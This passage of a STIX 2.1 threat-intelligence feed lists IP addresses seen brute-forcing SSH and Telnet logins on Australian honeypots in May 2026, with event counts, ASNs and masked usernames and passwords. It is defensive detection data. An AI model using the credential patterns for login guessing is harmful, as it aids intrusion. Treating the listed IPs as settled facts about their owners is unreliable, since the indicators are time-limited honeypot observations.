      "id": "indicator--817a04e3-532e-4e63-a717-da8df2c3ab89",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '117.200.88.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T04:15:10.000Z",
      "valid_until": "2026-06-08T04:15:08.000Z"
    },
    {
      "created": "2026-05-07T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 264169. Organisation(s): WNP INTERNET.",
      "id": "indicator--f687797c-0cfc-4ece-86e8-096cbc33636c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.94.203.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T04:15:10.000Z",
      "valid_until": "2026-06-08T04:15:08.000Z"
    },
    {
      "created": "2026-05-07T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 41. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): , C************0, C******************>, F************************t, G************0. Passwords observed (masked): , A*********************p, C**************S, C***************0, T***************>.",
      "id": "indicator--463e837b-b551-4cb1-b67a-2b2c10ac80de",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '142.93.102.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T04:15:10.000Z",
      "valid_until": "2026-06-08T04:15:08.000Z"
    },
    {
      "created": "2026-05-07T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 262907. Organisation(s): BRASIL TECPAR | AMIGO | AVATO. Usernames observed (masked): d******r. Passwords observed (masked): 1*******3.",
      "id": "indicator--585fda98-8bf5-4f86-b428-ecd7fbe43956",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.11.196.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T04:15:10.000Z",
      "valid_until": "2026-06-08T04:15:08.000Z"
    },
    {
      "created": "2026-05-07T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--54977b74-c8dd-42c9-a4a7-99200e40c324",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T04:15:10.000Z",
      "valid_until": "2026-06-08T04:15:08.000Z"
    },
    {
      "created": "2026-05-07T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 7489. Organisation(s): HostUS. Usernames observed (masked): u****u. Passwords observed (masked): 1******x.",
      "id": "indicator--f1e240a6-d26f-4326-801d-36af15a832cb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '216.189.157.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T04:15:10.000Z",
      "valid_until": "2026-06-08T04:15:08.000Z"
    },
    {
      "created": "2026-05-07T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n, p******d.",
      "id": "indicator--d9992cab-3027-40f3-ab00-596f55171ba5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.14.26.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T04:15:10.000Z",
      "valid_until": "2026-06-08T04:15:08.000Z"
    },
    {
      "created": "2026-05-07T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 47. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--bf8f7fbd-5978-43a9-a3f3-7fc6715462dd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.78.205.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T04:15:10.000Z",
      "valid_until": "2026-06-08T04:15:08.000Z"
    },
    {
      "created": "2026-05-07T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 271951. Organisation(s): 4 EVER PLUG,C.A..",
      "id": "indicator--b36aadd8-a8ae-4bb5-83fb-03489acee0ba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.196.85.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T04:15:10.000Z",
      "valid_until": "2026-06-08T04:15:08.000Z"
    },
    {
      "created": "2026-05-07T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Heralding. Target ports: 5432. Source country: US. ASN(s): 401626. Organisation(s): Netiface America, Inc.. Usernames observed (masked): p******s. Passwords observed (masked): 1****6, p******d, p******s.",
      "id": "indicator--749ce4d8-9fd3-4ffd-80a6-54ddbeb3bfd3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.89.163.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T04:15:10.000Z",
      "valid_until": "2026-06-08T04:15:08.000Z"
    },
    {
      "created": "2026-05-07T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 9121. Organisation(s): Turk Telekom.",
      "id": "indicator--aa0f99c3-6ecf-4084-a4f8-0a3a7df43215",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '85.96.204.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T04:15:10.000Z",
      "valid_until": "2026-06-08T04:15:08.000Z"
    },
    {
      "created": "2026-05-07T05:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--173d7f15-3fec-47a2-a3a1-c2bc1800492c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.206.107.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T05:15:10.000Z",
      "valid_until": "2026-06-08T05:15:08.000Z"
    },
    {
      "created": "2026-05-07T05:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 251. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 135918. Organisation(s): VIET DIGITAL TECHNOLOGY LIABILITY COMPANY. Usernames observed (masked): r**t, a***n, t**t, u****u, u**r. Passwords observed (masked): ***, 1**1, 1****1, 1****1, 1****6.",
      "id": "indicator--4f8b442b-599b-458f-aed4-e2f0c7e204b8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.69.96.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T05:15:10.000Z",
      "valid_until": "2026-06-08T05:15:08.000Z"
    },
    {
      "created": "2026-05-07T05:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14987. Organisation(s): Rethem Hosting LLC.",
      "id": "indicator--2a77a765-07ca-442d-903c-bd358662095f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T05:15:10.000Z",
      "valid_until": "2026-06-08T05:15:08.000Z"
    },
    {
      "created": "2026-05-07T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 17488. Organisation(s): Hathway IP Over Cable Internet.",
      "id": "indicator--da4a0d42-6172-484d-9ff0-f08dcc8a1fcd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.73.222.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T05:15:10.000Z",
      "valid_until": "2026-06-08T05:15:08.000Z"
    },
    {
      "created": "2026-05-07T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 265890. Organisation(s): GR SOLUCOES TELECOM LTDA - ME.",
      "id": "indicator--ef5c1e55-e5f4-455f-979f-83de255d5195",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '131.196.7.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T05:15:10.000Z",
      "valid_until": "2026-06-08T05:15:08.000Z"
    },
    {
      "created": "2026-05-07T05:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1271. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: LU. ASN(s): 214472. Organisation(s): Offshore LC. Usernames observed (masked): r**t, d****y, a***n, s***m, f*****t. Passwords observed (masked): 1****6, ***, *, P******d, 1**4.",
      "id": "indicator--09d5144c-b7d0-4d84-a1e7-4609618836ab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T05:15:10.000Z",
      "valid_until": "2026-06-08T05:15:08.000Z"
    },
    {
      "created": "2026-05-07T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PA. ASN(s): 18809. Organisation(s): Cable Onda.",
      "id": "indicator--f0bf4672-e96d-4478-ade6-d8385711512c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.141.215.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T05:15:10.000Z",
      "valid_until": "2026-06-08T05:15:08.000Z"
    },
    {
      "created": "2026-05-07T05:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--76560132-d912-48f2-9a94-d08a374fc5e6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T05:15:10.000Z",
      "valid_until": "2026-06-08T05:15:08.000Z"
    },
    {
      "created": "2026-05-07T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--206effa5-8a64-47b7-aad0-2c430a4c5ece",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.169.85.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T05:15:10.000Z",
      "valid_until": "2026-06-08T05:15:08.000Z"
    },
    {
      "created": "2026-05-07T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 272102. Organisation(s): BESSER SOLUTIONS C.A..",
      "id": "indicator--42a27afb-f1b8-4fc1-ac07-bc4c47c50e63",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.51.122.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T05:15:10.000Z",
      "valid_until": "2026-06-08T05:15:08.000Z"
    },
    {
      "created": "2026-05-07T05:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--c5919236-d97c-45b3-ae42-4f52ae483551",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '40.124.175.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T05:15:10.000Z",
      "valid_until": "2026-06-08T05:15:08.000Z"
    },
    {
      "created": "2026-05-07T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--af99dda5-0222-466c-9211-6d1165422ad9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '60.184.209.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T05:15:10.000Z",
      "valid_until": "2026-06-08T05:15:08.000Z"
    },
    {
      "created": "2026-05-07T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 22709. Organisation(s): North State Telephone, LLC.",
      "id": "indicator--7bf90af1-6c40-4648-bd41-fbc11343c035",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '97.75.142.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T05:15:10.000Z",
      "valid_until": "2026-06-08T05:15:08.000Z"
    },
    {
      "created": "2026-05-07T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 55990. Organisation(s): Huawei Cloud Service data center. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--0be427d6-2f8a-477f-ac28-ddad8934e814",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '110.41.56.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T06:15:10.000Z",
      "valid_until": "2026-06-08T06:15:08.000Z"
    },
    {
      "created": "2026-05-07T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 43. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): , C************0, C******************>, F************************t, G************0. Passwords observed (masked): , A*********************p, C**************S, C***************0, T***************>.",
      "id": "indicator--c556bed8-be07-4d0c-b36a-868cdb3fdead",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.245.253.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T06:15:10.000Z",
      "valid_until": "2026-06-08T06:15:08.000Z"
    },
    {
      "created": "2026-05-07T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 6789. Organisation(s): Crelcom LLC.",
      "id": "indicator--6734d8b8-50b0-4150-9ffc-98ea08eb39db",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.112.123.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T06:15:10.000Z",
      "valid_until": "2026-06-08T06:15:08.000Z"
    },
    {
      "created": "2026-05-07T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 28534. Organisation(s): Mexico Red de Telecomunicaciones, S. de R.L. de C.V..",
      "id": "indicator--c1b2278f-dfc3-41ef-9c54-af6eb207ee06",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.187.205.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T06:15:10.000Z",
      "valid_until": "2026-06-08T06:15:08.000Z"
    },
    {
      "created": "2026-05-07T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 265594. Organisation(s): Television Internacional, S.A. de C.V..",
      "id": "indicator--bbe0ddec-e45d-4d4d-80e2-f6ce184ad129",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.219.64.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T06:15:10.000Z",
      "valid_until": "2026-06-08T06:15:08.000Z"
    },
    {
      "created": "2026-05-07T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 18209. Organisation(s): Atria Convergence Technologies Ltd..",
      "id": "indicator--dfefbfdc-ea17-4053-a277-fc92d2f0c9dc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '49.206.40.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T06:15:10.000Z",
      "valid_until": "2026-06-08T06:15:08.000Z"
    },
    {
      "created": "2026-05-07T06:15:10.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22, 23. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--3850d85a-008f-472f-9687-eb1443d99402",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '54.184.100.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T06:15:10.000Z",
      "valid_until": "2026-06-08T06:15:08.000Z"
    },
    {
      "created": "2026-05-07T07:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 138423. Organisation(s): CMPak Limited.",
      "id": "indicator--73dcc90d-d584-461b-928f-80bc8c9c5f53",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T07:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '117.134.199.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T07:15:05.000Z",
      "valid_until": "2026-06-08T07:15:03.000Z"
    },
    {
      "created": "2026-05-07T07:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): u****u. Passwords observed (masked): 1******..",
      "id": "indicator--2386842c-4f78-4a09-9ac7-4b4653b6669f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T07:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.205.179.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T07:15:05.000Z",
      "valid_until": "2026-06-08T07:15:03.000Z"
    },
    {
      "created": "2026-05-07T07:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 251. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 18126. Organisation(s): Chubu Telecommunications Company, Inc.. Usernames observed (masked): u****u, a***n, o****e, r**t, t**t. Passwords observed (masked): p******d, 1**0, 1***5, 1****6, 1******8.",
      "id": "indicator--39f30890-80b2-45b7-8e57-375a8e37d582",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T07:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '124.18.182.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T07:15:05.000Z",
      "valid_until": "2026-06-08T07:15:03.000Z"
    },
    {
      "created": "2026-05-07T07:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): t****r. Passwords observed (masked): t*****g.",
      "id": "indicator--b059137c-b360-46e9-9f73-3daae17799ff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T07:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.103.127.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T07:15:05.000Z",
      "valid_until": "2026-06-08T07:15:03.000Z"
    },
    {
      "created": "2026-05-07T07:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 34. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): u****u, u**r. Passwords observed (masked): 1****q, a*********9.",
      "id": "indicator--ebdc0dcf-b8d8-4535-869d-6cd27dbbabbe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T07:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.103.145.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T07:15:05.000Z",
